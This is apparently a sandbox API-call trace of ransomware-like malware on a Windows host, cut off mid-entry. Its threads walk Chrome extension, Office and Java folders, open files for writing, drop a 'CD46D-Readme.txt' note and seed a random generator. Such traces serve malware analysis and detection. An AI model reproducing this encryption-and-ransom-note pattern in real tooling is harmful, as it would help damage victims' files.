CloseHandle (hObject=0x17fc) returned 1 [0198.161] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b5a30 [0198.161] wcscpy (in: _Dest=0x9b5a30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\" [0198.161] wcscat (in: _Dest=0x9b5a30, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\CD46D-Readme.txt" [0198.161] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\cd46d-readme.txt")) returned 0xffffffff [0198.161] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17fc [0198.162] WriteFile (in: hFile=0x17fc, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x3b8fd80, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x3b8fd80*=0x6fd, lpOverlapped=0x0) returned 1 [0198.163] CloseHandle (hObject=0x17fc) returned 1 [0198.163] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5a30) returned 1 [0198.163] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1338f6c8) returned 1 Thread: id = 8196 os_tid = 0x1630 [0189.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime\\tab_off.gif")) returned 0x20 [0189.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0189.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime\\tab_off.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0189.804] GetLastError () returned 0x5 [0189.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0189.804] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d48cc0) returned 1 Thread: id = 8197 os_tid = 0x1638 [0189.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime\\tab_on.gif")) returned 0x20 [0189.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0189.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime\\tab_on.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0189.805] GetLastError () returned 0x5 [0189.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0189.806] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d48e90) returned 1 Thread: id = 8198 os_tid = 0x163c [0189.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\header.gif")) returned 0x20 [0189.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\HEADER.GIF", dwFileAttributes=0x20) returned 0 [0189.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\header.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0189.807] GetLastError () returned 0x5 [0189.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\HEADER.GIF", dwFileAttributes=0x20) returned 0 [0189.807] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bb878) returned 1 Thread: id = 8199 os_tid = 0xa20 [0189.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\tab_off.gif")) returned 0x20 [0189.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0189.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\tab_off.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0189.809] GetLastError () returned 0x5 [0189.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0189.809] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf7450) returned 1 Thread: id = 8264 os_tid = 0xe68 [0189.896] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Detroit" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\detroit")) returned 0x20 [0193.980] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Detroit", dwFileAttributes=0x20) returned 0 [0193.980] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Detroit" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\detroit"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0193.980] GetLastError () returned 0x5 [0193.980] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Detroit", dwFileAttributes=0x20) returned 0 [0193.980] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93bf90) returned 1 Thread: id = 8277 os_tid = 0x1a7c [0189.907] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Guatemala" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\guatemala")) returned 0x20 [0193.951] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Guatemala", dwFileAttributes=0x20) returned 0 [0193.951] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Guatemala" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\guatemala"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0193.952] GetLastError () returned 0x5 [0193.952] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Guatemala", dwFileAttributes=0x20) returned 0 [0193.952] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0e80) returned 1 Thread: id = 8280 os_tid = 0x1a90 [0190.702] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x11c) returned 0xd4d6d38 [0190.702] wcscpy (in: _Dest=0xd4d6d38, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar" [0190.702] wcscat (in: _Dest=0xd4d6d38, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\" [0190.702] wcscat (in: _Dest=0xd4d6d38, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\*" [0190.702] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907eb0 [0190.702] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\*", lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9b10 [0190.702] wcscmp (_String1=".", _String2=".") returned 0 [0190.703] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.703] wcscmp (_String1="..", _String2=".") returned 1 [0190.703] wcscmp (_String1="..", _String2="..") returned 0 [0190.703] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0190.703] wcscmp (_String1="messages.json", _String2=".") returned 1 [0190.703] wcscmp (_String1="messages.json", _String2="..") returned 1 [0190.703] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x134) returned 0x9b6990 [0190.703] wcscpy (in: _Dest=0x9b6990, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar" [0190.703] wcscat (in: _Dest=0x9b6990, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\" [0190.703] wcscat (in: _Dest=0x9b6990, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json" [0193.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9b6990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1488 [0193.730] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0193.730] FindClose (in: hFindFile=0x8d9b10 | out: hFindFile=0x8d9b10) returned 1 [0193.730] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907eb0) returned 1 [0193.730] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d6d38) returned 1 [0193.730] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9373c0) returned 1 Thread: id = 8281 os_tid = 0x1a94 [0190.704] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x11c) returned 0xd4d6e60 [0190.704] wcscpy (in: _Dest=0xd4d6e60, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg" [0190.704] wcscat (in: _Dest=0xd4d6e60, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\" [0190.704] wcscat (in: _Dest=0xd4d6e60, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\*" [0190.704] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907510 [0190.704] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\*", lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9bd0 [0195.211] wcscmp (_String1=".", _String2=".") returned 0 [0195.211] FindNextFileW (in: hFindFile=0x8d9bd0, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.211] wcscmp (_String1="..", _String2=".") returned 1 [0195.211] wcscmp (_String1="..", _String2="..") returned 0 [0195.211] FindNextFileW (in: hFindFile=0x8d9bd0, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0195.211] wcscmp (_String1="messages.json", _String2=".") returned 1 [0195.211] wcscmp (_String1="messages.json", _String2="..") returned 1 [0195.211] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x134) returned 0x9a5ef8 [0195.211] wcscpy (in: _Dest=0x9a5ef8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg" [0195.211] wcscat (in: _Dest=0x9a5ef8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\" [0195.211] wcscat (in: _Dest=0x9a5ef8, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json" [0196.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9a5ef8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc8c [0196.520] FindNextFileW (in: hFindFile=0x8d9bd0, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0196.520] FindClose (in: hFindFile=0x8d9bd0 | out: hFindFile=0x8d9bd0) returned 1 [0196.520] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907510) returned 1 [0196.520] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d6e60) returned 1 [0196.520] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c6c790) returned 1 Thread: id = 8294 os_tid = 0x1b08 [0191.410] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json")) returned 0x2020 [0191.410] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json", dwFileAttributes=0x20) returned 1 [0196.675] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x11c0 [0196.675] GetFileSizeEx (in: hFile=0x11c0, lpFileSize=0x2fef8e4 | out: lpFileSize=0x2fef8e4*=207) returned 1 [0196.675] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909690 [0196.675] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909898 [0196.675] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9095a0 [0196.675] NtQuerySystemTime (in: CurrentTime=0x2fef844 | out: CurrentTime=0x2fef844*=132174899712706000) returned 0x0 [0196.675] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x346bc47d [0196.675] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x72a743bc [0196.675] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x481b60a4 [0196.675] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x4c859d59 [0196.675] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x2a19add1 [0196.675] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0xc65fa38 [0196.675] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x6524af72 [0196.675] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x1d110358 [0196.675] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x52df5b87 [0196.675] RtlRandomEx (in: Seed=0x2fef850 | out: 